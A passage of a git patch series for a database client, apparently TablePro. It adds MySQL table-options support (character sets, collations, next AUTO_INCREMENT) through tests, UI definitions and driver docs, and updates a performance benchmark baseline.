+++ b/linux/crates/drivers/mysql/tests/integration/metadata.rs
@@ -1,7 +1,7 @@
 //! The catalogue as the structure tab and the filters read it.
 
 use tablepro_core::column::{BoolStorage, ColumnKind, IntegerKind, IntegerWidth};
-use tablepro_core::ddl::{ColumnVisibility, GeneratedStorage, IdentityStyle};
+use tablepro_core::ddl::{ColumnVisibility, GeneratedStorage, IdentityStyle, TableOptions};
 use tablepro_core::dialect::{BindTarget, LikeForm, SqlDialect};
 use tablepro_core::meta::{ObjectKind, ObjectScope};
 use tablepro_core::statement::StatementBuilder;
@@ -149,6 +149,102 @@ async fn fetch_table_definition_reports_pk_name_collation_comment() {
     }
 }
 
+fn options(character_set: &str, collation: &str, next_auto_increment: Option<u64>) -> Option<TableOptions> {
+    Some(TableOptions {
+        character_set: Some(character_set.to_owned()),
+        collation: Some(collation.to_owned()),
+        next_auto_increment,
+    })
+}
+
+async fn options_of(connection: &dyn Connection, name: &str) -> Option<TableOptions> {
+    connection
+        .fetch_table_definition(&table(name), within(CALL))
+        .await
+        .expect("the definition")
+        .options
+}
+
+/// MySQL caches TABLES.AUTO_INCREMENT for a day, so the counter it
+/// reports after inserts has to come from SHOW CREATE TABLE.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn fetch_table_definition_reads_the_table_options() {
+    for flavour in FLAVOURS {
+        let fixture = start(flavour).await;
+        let connection = connect(&fixture, false).await;
+        setup(
+            connection.as_ref(),
+            &[
+                "CREATE TABLE counted (id int AUTO_INCREMENT PRIMARY KEY, code varchar(20)) DEFAULT CHARSET=latin1 \
+                 COLLATE=latin1_bin",
+                "CREATE TABLE fresh (id bigint AUTO_INCREMENT PRIMARY KEY) DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_bin",
+                "CREATE TABLE plain (id int PRIMARY KEY) DEFAULT CHARSET=ascii",
+                "CREATE VIEW seen AS SELECT id FROM plain",
+                "INSERT INTO counted (code) VALUES ('a'), ('b')",
+                "INSERT INTO counted (code) VALUES ('c')",
+            ],
+        )
+        .await;
+        let connection = connection.as_ref();
+
+        assert_eq!(
+            options_of(connection, "counted").await,
+            options("latin1", "latin1_bin", Some(4)),
+            "{flavour:?}"
+        );
+        assert_eq!(
+            options_of(connection, "fresh").await,
+            options("utf8mb4", "utf8mb4_bin", Some(1)),
+            "{flavour:?}"
+        );
+        assert_eq!(
+            options_of(connection, "plain").await,
+            options("ascii", "ascii_general_ci", None),
+            "{flavour:?}"
+        );
+        assert_eq!(options_of(connection, "seen").await, None, "{flavour:?}");
+        connection.close().await.expect("a close");
+    }
+}
+
+/// MariaDB 10.10 and later list a UCA 14 collation in COLLATIONS with
+/// no character set, so the list has to come from where the server
+/// spells the names its tables carry.
+#[tokio::test(flavor = "multi_thread", worker_threads = 2)]
+#[ignore = "requires docker"]
+async fn character_sets_list_every_collation_a_table_can_carry() {
+    for flavour in FLAVOURS {
+        let fixture = start(flavour).await;
+        let connection = connect(&fixture, false).await;
+        setup(
+            connection.as_ref(),
+            &["CREATE TABLE defaulted (id int PRIMARY KEY) DEFAULT CHARSET=utf8mb4"],
+        )
+        .await;
+
+        let sets = connection
+            .fetch_character_sets(within(CALL))
+            .await
+            .expect("the character sets");
+        let collation = options_of(connection.as_ref(), "defaulted")
+            .await
+            .and_then(|options| options.collation)
+            .expect("the table's collation");
+
+        let utf8mb4 = sets.iter().find(|set| set.name == "utf8mb4").expect("utf8mb4");
+        assert!(utf8mb4.collations.contains(&collation), "{flavour:?}: {collation}");
+        assert!(utf8mb4.collations.contains(&utf8mb4.default_collation), "{flavour:?}");
+        assert!(
+            utf8mb4.collations.iter().all(|name| name.starts_with("utf8mb4_")),
+            "{flavour:?}"
+        );
+        assert!(sets.iter().any(|set| set.name == "latin1"), "{flavour:?}");
+        assert!(sets.windows(2).all(|pair| pair[0].name < pair[1].name), "{flavour:?}");
+        connection.close().await.expect("a close");
+    }
+}
+
 #[tokio::test(flavor = "multi_thread", worker_threads = 2)]
 #[ignore = "requires docker"]
 async fn fetch_table_definition_lists_inbound_foreign_keys() {
diff --git a/linux/crates/drivers/postgres/src/ddl.rs b/linux/crates/drivers/postgres/src/ddl.rs
index 91aa856135..50695e763d 100644
--- a/linux/crates/drivers/postgres/src/ddl.rs
+++ b/linux/crates/drivers/postgres/src/ddl.rs
@@ -35,6 +35,8 @@ static CAPABILITIES: DdlCapabilities = DdlCapabilities {
     column_defaults: true,
     required_columns: true,
     declared_column_order: true,
+    column_collations: false,
+    table_options: false,
 };
 
 const TYPE_SUGGESTIONS: &[&str] = &[
@@ -659,6 +661,7 @@ mod tests {
             foreign_keys: Vec::new(),
             inbound_foreign_keys: Vec::new(),
             source: None,
+            options: None,
         }
     }
 
diff --git a/linux/crates/drivers/postgres/src/metadata/mod.rs b/linux/crates/drivers/postgres/src/metadata/mod.rs
index 3930dc3891..930ef17be2 100644
--- a/linux/crates/drivers/postgres/src/metadata/mod.rs
+++ b/linux/crates/drivers/postgres/src/metadata/mod.rs
@@ -114,5 +114,6 @@ pub(crate) async fn fetch_table_definition(
         inbound_foreign_keys,
         // PostgreSQL has no statement that prints a table's own DDL.
         source: None,
+        options: None,
     })
 }
diff --git a/linux/crates/drivers/sqlite/src/ddl/mod.rs b/linux/crates/drivers/sqlite/src/ddl/mod.rs
index 14ca4a6451..b4709885e5 100644
--- a/linux/crates/drivers/sqlite/src/ddl/mod.rs
+++ b/linux/crates/drivers/sqlite/src/ddl/mod.rs
@@ -58,6 +58,8 @@ static CAPABILITIES: DdlCapabilities = DdlCapabilities {
     column_defaults: true,
     required_columns: true,
     declared_column_order: true,
+    column_collations: false,
+    table_options: false,
 };
 
 const TYPE_SUGGESTIONS: &[&str] = &[
diff --git a/linux/crates/drivers/sqlite/src/ddl/tests.rs b/linux/crates/drivers/sqlite/src/ddl/tests.rs
index 87a73e3a3f..d99ef4ecbb 100644
--- a/linux/crates/drivers/sqlite/src/ddl/tests.rs
+++ b/linux/crates/drivers/sqlite/src/ddl/tests.rs
@@ -70,6 +70,7 @@ fn table(name: &str, columns: Vec<ColumnDefinition>, create: &str) -> TableDefin
             create_statement: create.to_owned(),
             dependents: Vec::new(),
         }),
+        options: None,
     }
 }
 
diff --git a/linux/crates/drivers/sqlite/src/metadata.rs b/linux/crates/drivers/sqlite/src/metadata.rs
index 6310bb74f6..d2b90341df 100644
--- a/linux/crates/drivers/sqlite/src/metadata.rs
+++ b/linux/crates/drivers/sqlite/src/metadata.rs
@@ -505,6 +505,7 @@ pub(crate) async fn fetch_table_definition(
         foreign_keys,
         inbound_foreign_keys: inbound,
         source,
+        options: None,
     })
 }
 
diff --git a/linux/crates/test-support/src/call_counters.rs b/linux/crates/test-support/src/call_counters.rs
index 2aa2c331fc..9bf60773b7 100644
--- a/linux/crates/test-support/src/call_counters.rs
+++ b/linux/crates/test-support/src/call_counters.rs
@@ -14,6 +14,7 @@ pub struct CallCounters {
     pub fetch_outbound_foreign_keys: Arc<AtomicUsize>,
     pub fetch_inbound_foreign_keys: Arc<AtomicUsize>,
     pub fetch_table_definition: Arc<AtomicUsize>,
+    pub fetch_character_sets: Arc<AtomicUsize>,
     pub row_identity: Arc<AtomicUsize>,
     pub table_estimate: Arc<AtomicUsize>,
     pub query_bound: Arc<AtomicUsize>,
diff --git a/linux/crates/test-support/src/connection_script.rs b/linux/crates/test-support/src/connection_script.rs
index f5867e8388..c47947a703 100644
--- a/linux/crates/test-support/src/connection_script.rs
+++ b/linux/crates/test-support/src/connection_script.rs
@@ -1,6 +1,6 @@
 use std::sync::Arc;
 
-use tablepro_core::ddl::{InboundForeignKey, OutboundForeignKey, TableDefinition};
+use tablepro_core::ddl::{CharacterSet, InboundForeignKey, OutboundForeignKey, TableDefinition};
 use tablepro_core::dialect::SqlDialect;
 use tablepro_core::keyspace::{KeyListing, KeyPage};
 use tablepro_core::meta::{ObjectInfo, RowIdentity, SchemaInfo, TableEstimate};
@@ -32,6 +32,7 @@ pub struct ConnectionScript {
     pub fetch_outbound_foreign_keys: Replies<FakeReply<Vec<OutboundForeignKey>>>,
     pub fetch_inbound_foreign_keys: Replies<FakeReply<Vec<InboundForeignKey>>>,
     pub fetch_table_definition: Replies<FakeReply<TableDefinition>>,
+    pub fetch_character_sets: Replies<FakeReply<Vec<CharacterSet>>>,
     pub row_identity: Replies<FakeReply<RowIdentity>>,
     pub table_estimate: Replies<FakeReply<TableEstimate>>,
     pub query_bound: Replies<FakeReply<QueryResult>>,
@@ -65,6 +66,7 @@ impl Default for ConnectionScript {
             fetch_outbound_foreign_keys: Replies::default(),
             fetch_inbound_foreign_keys: Replies::default(),
             fetch_table_definition: Replies::default(),
+            fetch_character_sets: Replies::default(),
             row_identity: Replies::default(),
             table_estimate: Replies::default(),
             query_bound: Replies::default(),
diff --git a/linux/crates/test-support/src/fake_connection.rs b/linux/crates/test-support/src/fake_connection.rs
index 58bc88c9cb..dcb16a3637 100644
--- a/linux/crates/test-support/src/fake_connection.rs
+++ b/linux/crates/test-support/src/fake_connection.rs
@@ -2,7 +2,7 @@ use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering};
 use std::sync::{Arc, Mutex};
 
 use async_trait::async_trait;
-use tablepro_core::ddl::{InboundForeignKey, OutboundForeignKey, TableDefinition};
+use tablepro_core::ddl::{CharacterSet, InboundForeignKey, OutboundForeignKey, TableDefinition};
 use tablepro_core::dialect::SqlDialect;
 use tablepro_core::keyspace::{KeyListing, KeyPage, KeyScan, KeyWindow};
 use tablepro_core::meta::{ObjectInfo, ObjectScope, RowIdentity, SchemaInfo, TableEstimate};
@@ -315,6 +315,19 @@ impl Connection for FakeConnection {
         .await
     }
 
+    async fn fetch_character_sets(&self, options: CallOptions) -> Result<Vec<CharacterSet>, DriverError> {
+        let counter = &self.counters.fetch_character_sets;
+        self.answer(
+            "fetch_character_sets",
+            counter,
+            |s| &mut s.fetch_character_sets,
+            None,
+            &options,
+            TimeoutPhase::Statement,
+        )
+        .await
+    }
+
     async fn row_identity(&self, table: &TableRef, options: CallOptions) -> Result<RowIdentity, DriverError> {
         let counter = &self.counters.row_identity;
         let name = Some(table.name.as_str());
diff --git a/linux/data/resources/ui/structure-tab.ui b/linux/data/resources/ui/structure-tab.ui
index 54dc15c5c6..1acac84b13 100644
--- a/linux/data/resources/ui/structure-tab.ui
+++ b/linux/data/resources/ui/structure-tab.ui
@@ -239,6 +239,64 @@
                                 </property>
                               </object>
                             </child>
+                            <child>
+                              <!-- Shown only where the engine changes a table's options. -->
+                              <object class="AdwViewStackPage" id="options_page">
+                                <property name="name">options</property>
+                                <property name="title" translatable="yes">Options</property>
+                                <property name="icon-name">preferences-system-symbolic</property>
+                                <property name="visible">false</property>
+                                <property name="child">
+                                  <object class="GtkScrolledWindow">
+                                    <property name="vexpand">true</property>
+                                    <property name="child">
+                                      <object class="GtkBox" id="options_box">
+                                        <property name="orientation">vertical</property>
+                                        <property name="spacing">18</property>
+                                        <property name="margin-start">12</property>
+                                        <property name="margin-end">12</property>
+                                        <property name="margin-top">6</property>
+                                        <property name="margin-bottom">12</property>
+                                        <child>
+                                          <object class="AdwPreferencesGroup">
+                                            <property name="title" translatable="yes">Defaults</property>
+                                            <property name="description" translatable="yes">Columns added later take these. Existing columns keep their own unless they are converted.</property>
+                                            <child>
+                                              <object class="AdwComboRow" id="character_set_row">
+                                                <property name="title" translatable="yes">Character Set</property>
+                                              </object>
+                                            </child>
+                                            <child>
+                                              <object class="AdwComboRow" id="collation_row">
+                                                <property name="title" translatable="yes">Collation</property>
+                                              </object>
+                                            </child>
+                                            <child>
+                                              <object class="AdwSwitchRow" id="convert_row">
+                                                <property name="title" translatable="yes">Convert existing columns</property>
+                                                <property name="subtitle" translatable="yes">Rewrites the text in every column. TEXT can grow to MEDIUMTEXT, and the table is copied while it runs.</property>
+                                              </object>
+                                            </child>
+                                          </object>
+                                        </child>
+                                        <child>
+                                          <!-- Shown only while a column numbers itself. -->
+                                          <object class="AdwPreferencesGroup" id="auto_increment_group">
+                                            <property name="description" translatable="yes">A value at or below the highest one in use becomes that value plus one.</property>
+                                            <child>
+                                              <object class="AdwEntryRow" id="auto_increment_row">
+                                                <property name="title" translatable="yes">Next Auto Increment</property>
+                                                <property name="input-purpose">digits</property>
+                                              </object>
+                                            </child>
+                                          </object>
+                                        </child>
+                                      </object>
+                                    </property>
+                                  </object>
+                                </property>
+                              </object>
+                            </child>
                             <child>
                               <object class="AdwViewStackPage">
                                 <property name="name">sql</property>
diff --git a/linux/docs/adding-drivers.md b/linux/docs/adding-drivers.md
index fae5507267..b61ee2f9ed 100644
--- a/linux/docs/adding-drivers.md
+++ b/linux/docs/adding-drivers.md
@@ -165,6 +165,7 @@ The `Connection` is a workspace's link to one server: the pool behind the sideba
 | `link_state`, `lost` | A `LinkWatch` shared by every call. `lost()` resolves when the link is gone: a failed probe, or a failed call that a check outside the pool confirmed. One dead backend in the pool does not resolve it, so the session monitor can act on it. |
 | `probe` | Whether the server answers. It never waits for a pool slot: with every slot busy it opens a connection of its own. |
 | `list_schemas`, `list_objects`, `fetch_columns`, `fetch_indexes`, `fetch_foreign_keys`, `fetch_outbound_foreign_keys`, `fetch_inbound_foreign_keys`, `fetch_table_definition`, `row_identity`, `table_estimate` | Catalogue reads. `fetch_table_definition` reads columns, keys and dependents in one call so they come from the same moment. `fetch_outbound_foreign_keys` and `fetch_inbound_foreign_keys` return the keys that definition lists, read alone for a table tab's cell menu. Each key names its other table as the sidebar does, and its columns as declared. `parent_compares_alike` and `child_compares_alike` are false when a value of one side, as text read under the other side's column type, can find other rows than the key matches: the two sides differ in type or collation and the engine compares them through a conversion. |
+| `fetch_character_sets` | The character sets the server offers, each with its default collation and every collation it takes, for the Structure tab's pickers. A read of its own after the definition, so its failure leaves the rest of the tab working. The default answers `Unsupported` (`UnsupportedFeature::CharacterSets`). |
 | `query_bound` | A generated read that keeps at most `limit` rows and reads one more to set `truncated`. |
 | `count_rows` | A generated count. |
 | `stream_read` | Every row of a read into a `ResultSink`, with no row limit, on a connection of its own, held read-only for its whole length. |
@@ -338,13 +339,13 @@ A table whose scan has no order to page by, as a CQL scan in token order has non
 
 | Method | What it does |
 |---|---|
-| `capabilities` | The table-level `DdlCapabilities`. The tab offers only what is on. `table_capabilities` narrows them for one table, and defaults to `capabilities`. |
+| `capabilities` | The table-level `DdlCapabilities`. The tab offers only what is on. `table_capabilities` narrows them for one table, and defaults to `capabilities`. `column_collations` offers a column's character set and collation from `fetch_character_sets`, and `table_options` the table's default pair, a convert of every column to it, and the next AUTO_INCREMENT value, for a table whose definition carries `TableOptions`. Both are off by default. |
 | `sql_dialect` | The `SqlDialect` that quotes, binds and parses for the plans. Return `self`. |
 | `column_capabilities` | A `Permission` per change to one column. Start from `ColumnCapabilities::standard`, which refuses a restatement that would drop a generated expression or an unmodeled attribute, a default on a numbered column, a drop of a column another table's foreign key points at, and any primary-key change while a foreign key points at the key. Add the engine's own refusals on top, each with its `RefusalReason`. An engine that writes the whole column again, as MySQL does for every change and SQL Server for a type or nullability change, refuses those changes where it cannot write the column back as it is. One that restates a generated column's expression checks `ColumnCapabilities::modeled` in place of `restatement`. |
 | `index_removal` | Whether one index of the table can be dropped where `drop_index` allows it. The default allows every one; DuckDB refuses the index a UNIQUE key owns, which no statement drops. |
 | `type_suggestions`, `default_column_type`, `referential_actions`, `references_other_schemas` | What the tab's type menu, new columns and foreign-key dialog offer. Every suggestion has to parse through `parse_type`. The last two have defaults: every action, and keys across schemas. |
 | `plan_create_table(&TableDraft)` | Starts with `draft.check_create(self)?`. Foreign keys go inside CREATE TABLE. |
-| `plan_alter_table(&TableDefinition, &TableChanges)` | Starts with `changes.check(self, original)?`, then writes the changes in the order the engine needs: one combined ALTER TABLE where the engine takes one, and every statement after a table rename against the new name. A table rename keeps the table in its schema. An engine that renames one column per statement takes them from `changes.ordered_renames(original)`, which runs a swap through a temporary name. It ends with `DdlPlan::for_changes`, which refuses a change that came to no statement. |
+| `plan_alter_table(&TableDefinition, &TableChanges)` | Starts with `changes.check(self, original)?`, then writes the changes in the order the engine needs: one combined ALTER TABLE where the engine takes one, and every statement after a table rename against the new name. A table rename keeps the table in its schema. An engine that renames one column per statement takes them from `changes.ordered_renames(original)`, which runs a swap through a temporary name. A `TableOptionsChange` names the character set and collation together, and a convert runs after every drop and before every added column. `changes.check` refuses a convert beside a change to an existing column or to the primary key ([MySQL](drivers/mysql.md#table-options)). It ends with `DdlPlan::for_changes`, which refuses a change that came to no statement. |
 | `plan_drop_table` | The default writes `DROP TABLE [IF EXISTS] <table> [CASCADE]`. |
 | `create_table_script` | The server's own CREATE statement where the engine keeps one, and `NoTableSource` when the definition carries none; the default writes it from the definition. |
 
diff --git a/linux/docs/decisions/0010-ddl-plans-and-table-definitions.md b/linux/docs/decisions/0010-ddl-plans-and-table-definitions.md
index 9f48b95a78..a5dd5ed84c 100644
--- a/linux/docs/decisions/0010-ddl-plans-and-table-definitions.md
+++ b/linux/docs/decisions/0010-ddl-plans-and-table-definitions.md
@@ -29,6 +29,7 @@ Each engine plans structure changes through its own `DdlDialect`, reached from `
 - The structure tab's controls follow the capabilities, so a change the engine cannot make is never offered.
 - MySQL writes a column again whole for any change to it, its comment included, and SQL Server's ALTER COLUMN carries nothing forward either, so both restate every attribute the definition models where the new type still holds it. On MySQL that is the character set and collation, a generated column's expression, ON UPDATE, INVISIBLE and the SRID; MariaDB adds its REF_SYSTEM_ID and the column's own CHECK, which it keeps apart from the table's. On SQL Server it is the collation, SPARSE, the nullability and a data mask, which goes back on in a statement of its own.
 - A PostgreSQL type change names the column's collation when the new type holds text, since SET DATA TYPE otherwise takes the type's default.
+- MySQL's table options join the combined ALTER: the default character set and collation, always named together, and the next AUTO_INCREMENT value, which a MODIFY in the same ALTER that turns numbering on keeps. A convert of every column runs as a statement of its own after every drop and before the added columns. It never shares a save with a change to an existing column or to the primary key (`RefusalReason::ColumnsConverted`): a MODIFY after it would restate a type it widened, and a key it converts before the key moves can outgrow the index limit.
 - A column with an attribute this build does not model, or one whose name the restatement cannot write, refuses every change that would restate it.
 - MariaDB names a column's CHECK constraint after the column it was written on and keeps that name through a rename, so the check is placed by the column line of SHOW CREATE TABLE it ends. A check no line ends with refuses the restatement of every column without one.
 - The server reads a restated expression against the names the same ALTER gives, so a MySQL restatement whose CHECK, generated expression or default names a column renamed in the same change is refused, and the rename is saved on its own first.
diff --git a/linux/docs/drivers/mysql.md b/linux/docs/drivers/mysql.md
index cb1f415978..0fd7c9ce52 100644
--- a/linux/docs/drivers/mysql.md
+++ b/linux/docs/drivers/mysql.md
@@ -126,6 +126,27 @@ Whether a write can be undone depends on the table's storage engine, not on the
 - MySQL cannot suspend foreign keys for one batch, so a batch that asks for it is refused before anything is sent.
 - There is nothing to ask the server about a lost `COMMIT` (`CommitResolutionSupport::Unavailable`). `CommitOutcomeUnknown` carries no token, and the user reloads to see what landed.
 
+## Table options
+
+The structure tab edits a table's default character set and collation, converts every column to them, sets the next AUTO_INCREMENT value, and picks a column's own character set and collation (`column_collations`, `table_options`).
+
+| Read | Source |
+|---|---|
+| Default character set and collation | `information_schema.TABLES.TABLE_COLLATION`, which is live on both servers. The character set is the collation's first word. |
+| Next AUTO_INCREMENT, MySQL | The options line of SHOW CREATE TABLE. `TABLES.AUTO_INCREMENT` is cached for up to a day (`information_schema_stats_expiry`). |
+| Next AUTO_INCREMENT, MariaDB | `TABLES.AUTO_INCREMENT`, which is live. `NO_TABLE_OPTIONS`, part of `sql_mode = ORACLE`, prints SHOW CREATE TABLE without its options line. |
+| Character sets | `information_schema.CHARACTER_SETS`, with collations from `COLLATIONS`, or on MariaDB 10.10 and later from `COLLATION_CHARACTER_SET_APPLICABILITY.FULL_COLLATION_NAME`, told apart by that column. MariaDB lists a UCA 14 collation such as `utf8mb4_uca1400_ai_ci` in `COLLATIONS` once, with no character set. |
+
+- Neither server prints AUTO_INCREMENT= while the counter is 1, so a table with an AUTO_INCREMENT column and no clause reads as 1, and one without such a column has no counter.
+- A view and an NDB table carry no options, so `table_capabilities` turns them off.
+- A new default is `DEFAULT CHARACTER SET = cs COLLATE = coll` in the combined ALTER. Both clauses always go: a character set alone resets the collation to its default. Existing columns keep theirs, and a column added in the same ALTER takes the new one.
+- A convert, `CONVERT TO CHARACTER SET cs COLLATE coll`, is a statement of its own after the `DROP FOREIGN KEY` and before the combined ALTER. A foreign key on a converted column refuses it (MySQL 3780, MariaDB 1832), and so can an index the wider characters make too long (1071), so a save that drops indexes or columns runs those drops in an ALTER ahead of the convert.
+- A convert can widen a type, as a latin1 `TEXT` becomes `MEDIUMTEXT` in utf8mb4, and a MODIFY after it restates the old one. It also converts a primary key before a change in the same save moves it, which can push the key past the 3072-byte index limit. So a convert refuses a change to an existing column or to the primary key in the same save, and the tab says so before Save. Columns added in the same save come after it and take its pair unless the user picked one.
+- The review lists a convert, and a column given another character set, as destructive.
+- The counter is `AUTO_INCREMENT = n` in the combined ALTER. A counter set before a MODIFY that turns AUTO_INCREMENT on is lost, in the same ALTER it is kept. The server raises a value at or below the largest key to that key plus one, without a warning, so the tab reads the table again after a save.
+- A column takes CHARACTER SET and COLLATE only when its type holds text: `CHAR`, `VARCHAR`, the `TEXT` types, `ENUM` and `SET`, in any spelling the type parser takes, such as `character varying(64)` or `VARCHAR (64)`. A national spelling (`NCHAR`, `NVARCHAR`) refuses CHARACTER SET, so none is written for it.
+- A restated `ON UPDATE CURRENT_TIMESTAMP`, and a `CURRENT_TIMESTAMP` default as the catalogue read it, take the precision of the column's type, since MySQL refuses any other (1294, 1067). A default the user typed goes as written.
+
 ## Editor sessions
 
 - The editor sends one statement per run. Text with several statements is split where the mysql client splits it, at each `;` or at the delimiter a `DELIMITER` line sets, and goes one statement per round trip. Sent whole, the server starts each next statement as soon as the last one's result is written, read or not, so a stop could not keep it from running. A `/*!` or `/*M!` comment is code to the split, as it is to the mysql client, so each `/*!40101 ... */;` line of a dump is a statement of its own and a `/*!50100 PARTITION BY ... */` stays with its table.
diff --git a/linux/po/POTFILES.in b/linux/po/POTFILES.in
index d0e485e5d8..af8dd18f8f 100644
--- a/linux/po/POTFILES.in
+++ b/linux/po/POTFILES.in
@@ -483,6 +483,8 @@ crates/app/src/ui/shell/mod.rs
 crates/app/src/ui/shell/primary_menu_button.rs
 crates/app/src/ui/ssh_inputs.rs
 crates/app/src/ui/ssh_section.rs
+crates/app/src/ui/structure_tab/character_set_choices.rs
+crates/app/src/ui/structure_tab/character_set_fetch.rs
 crates/app/src/ui/structure_tab/column_handlers.rs
 crates/app/src/ui/structure_tab/columns.rs
 crates/app/src/ui/structure_tab/columns_input.rs
@@ -521,6 +523,7 @@ crates/app/src/ui/structure_tab/structure_tab_widgets.rs
 crates/app/src/ui/structure_tab/table_choice_object.rs
 crates/app/src/ui/structure_tab/table_handlers.rs
 crates/app/src/ui/structure_tab/table_input.rs
+crates/app/src/ui/structure_tab/table_options.rs
 crates/app/src/ui/structure_tab/tests.rs
 crates/app/src/ui/style_scheme_grid.rs
 crates/app/src/ui/style_scheme_resolver.rs

From 442ec33edb1a5ae9b311a2d9262fdf2a67ef03a8 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Ng=C3=B4=20Qu=E1=BB=91c=20=C4=90=E1=BA=A1t?=
 <datlechin@gmail.com>
Date: Thu, 29 Oct 2026 15:59:38 +0700
Subject: [PATCH 19/44] perf(diagnostics): record the large-catalog baseline
 again (#3870)

---
 .../benchmark/large-catalog/baseline.json     | 199 +++++++++---------
 1 file changed, 101 insertions(+), 98 deletions(-)

diff --git a/apple/scripts/benchmark/large-catalog/baseline.json b/apple/scripts/benchmark/large-catalog/baseline.json
index 38d7454681..033d96228c 100644
--- a/apple/scripts/benchmark/large-catalog/baseline.json
+++ b/apple/scripts/benchmark/large-catalog/baseline.json
@@ -1,5 +1,5 @@
 {
-  "recorded": "2026-10-22",
+  "recorded": "2026-10-29",
   "machine": {
     "model": "Mac16,11",
     "chip": "Apple M4 Pro",
@@ -12,190 +12,193 @@
     "configuration": "Release"
   },
   "runs": 10,
-  "budgetRule": "1.25x the baseline median and p95, rounded up to 5 ms; no main-thread stall over 100 ms",
+  "budgetRule": "1.25x the baseline median and p95, rounded up to 5 ms, and the footprint, rounded up to 5 MB; no main-thread stall over 100 ms",
   "fixtures": {
     "postgres": {
       "steps": {
         "sidebar-listing": {
-          "median": 445.1,
-          "p95": 506.0,
+          "median": 377.2,
+          "p95": 486.1,
           "runs": 10,
-          "maxStallMs": 270.9,
-          "budgetMedian": 560,
-          "budgetP95": 635
+          "maxStallMs": 92.4,
+          "budgetMedian": 475,
+          "budgetP95": 610
         },
         "sidebar-filter": {
-          "median": 123.8,
-          "p95": 380.2,
+          "median": 75.2,
+          "p95": 94.2,
           "runs": 10,
-          "maxStallMs": 192.4,
-          "budgetMedian": 155,
-          "budgetP95": 480
+          "maxStallMs": 92.1,
+          "budgetMedian": 95,
+          "budgetP95": 120
         },
         "sidebar-expand": {
-          "median": 133.0,
-          "p95": 242.7,
+          "median": 358.2,
+          "p95": 575.3,
           "runs": 10,
-          "maxStallMs": 58.5,
-          "budgetMedian": 170,
-          "budgetP95": 305
+          "maxStallMs": 126.1,
+          "budgetMedian": 450,
+          "budgetP95": 720
         },
         "quick-open-panel": {
-          "median": 169.9,
-          "p95": 260.9,
+          "median": 54.7,
+          "p95": 74.9,
           "runs": 10,
-          "maxStallMs": 51.1,
-          "budgetMedian": 215,
-          "budgetP95": 330
+          "maxStallMs": 78.1,
+          "budgetMedian": 70,
+          "budgetP95": 95
         },
         "quick-open-result": {
-          "median": 236.0,
-          "p95": 369.1,
+          "median": 184.8,
+          "p95": 223.7,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 295,
-          "budgetP95": 465
+          "budgetMedian": 235,
+          "budgetP95": 280
         },
         "complete-from": {
-          "median": 85.3,
-          "p95": 92.1,
+          "median": 76.2,
+          "p95": 101.5,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 110,
-          "budgetP95": 120
+          "budgetMedian": 100,
+          "budgetP95": 130
         },
         "complete-schema": {
-          "median": 122.2,
-          "p95": 139.6,
+          "median": 103.2,
+          "p95": 273.2,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 155,
-          "budgetP95": 175
+          "budgetMedian": 130,
+          "budgetP95": 345
         }
       },
-      "memoryMB": 119.1
+      "footprintMB": 222.9,
+      "budgetFootprintMB": 280
     },
     "oracle": {
       "steps": {
         "sidebar-listing": {
-          "median": 1444.9,
-          "p95": 2185.2,
+          "median": 1203.1,
+          "p95": 2482.3,
           "runs": 10,
-          "maxStallMs": 964.3,
-          "budgetMedian": 1810,
-          "budgetP95": 2735
+          "maxStallMs": 155.3,
+          "budgetMedian": 1505,
+          "budgetP95": 3105
         },
         "sidebar-filter": {
-          "median": 138.3,
-          "p95": 668.1,
+          "median": 107.0,
+          "p95": 468.7,
           "runs": 10,
-          "maxStallMs": 195.3,
-          "budgetMedian": 175,
-          "budgetP95": 840
+          "maxStallMs": 120.3,
+          "budgetMedian": 135,
+          "budgetP95": 590
         },
         "sidebar-expand": {
-          "median": 281.9,
-          "p95": 338.4,
+          "median": 255.3,
+          "p95": 328.4,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 355,
-          "budgetP95": 425
+          "budgetMedian": 320,
+          "budgetP95": 415
         },
         "quick-open-panel": {
-          "median": 173.2,
-          "p95": 202.9,
+          "median": 59.8,
+          "p95": 110.3,
           "runs": 10,
-          "maxStallMs": 59.5,
-          "budgetMedian": 220,
-          "budgetP95": 255
+          "maxStallMs": 109.8,
+          "budgetMedian": 75,
+          "budgetP95": 140
         },
         "quick-open-result": {
-          "median": 171.9,
-          "p95": 207.5,
+          "median": 166.1,
+          "p95": 291.3,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 215,
-          "budgetP95": 260
+          "budgetMedian": 210,
+          "budgetP95": 365
         },
         "complete-from": {
-          "median": 83.9,
-          "p95": 91.0,
+          "median": 75.7,
+          "p95": 92.0,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 105,
+          "budgetMedian": 95,
           "budgetP95": 115
         },
         "complete-schema": {
-          "median": 499.0,
-          "p95": 539.5,
+          "median": 418.2,
+          "p95": 539.7,
           "runs": 10,
           "maxStallMs": 0.0,
-          "budgetMedian": 625,
+          "budgetMedian": 525,
           "budgetP95": 675
         }
       },
-      "memoryMB": 193.9
+      "footprintMB": 256.5,
+      "budgetFootprintMB": 325
     },
     "mysql": {
       "steps": {
         "sidebar-listing": {
-          "median": 573.7,
-          "p95": 657.7,
+          "median": 431.0,
+          "p95": 653.0,
           "runs": 10,
-          "maxStallMs": 222.0,
-          "budgetMedian": 720,
-          "budgetP95": 825
+          "maxStallMs": 102.4,
+          "budgetMedian": 540,
+          "budgetP95": 820
         },
         "sidebar-filter": {
-          "median": 134.4,
-          "p95": 195.5,
+          "median": 93.8,
+          "p95": 110.4,
           "runs": 10,
-          "maxStallMs": 140.2,
-          "budgetMedian": 170,
-          "budgetP95": 245
+          "maxStallMs": 103.1,
+          "budgetMedian": 120,
+          "budgetP95": 140
         },
         "sidebar-expand": {
-          "median": 286.1,
-          "p95": 317.1,
+          "median": 293.1,
+          "p95": 341.2,
           "runs": 10,
-          "maxStallMs": 111.9,
-          "budgetMedian": 360,
-          "budgetP95": 400
+          "maxStallMs": 83.4,
+          "budgetMedian": 370,
+          "budgetP95": 430
         },
         "quick-open-panel": {
-          "median": 155.6,
-          "p95": 185.8,
+          "median": 67.6,
+          "p95": 88.6,
           "runs": 10,
-          "maxStallMs": 0.0,
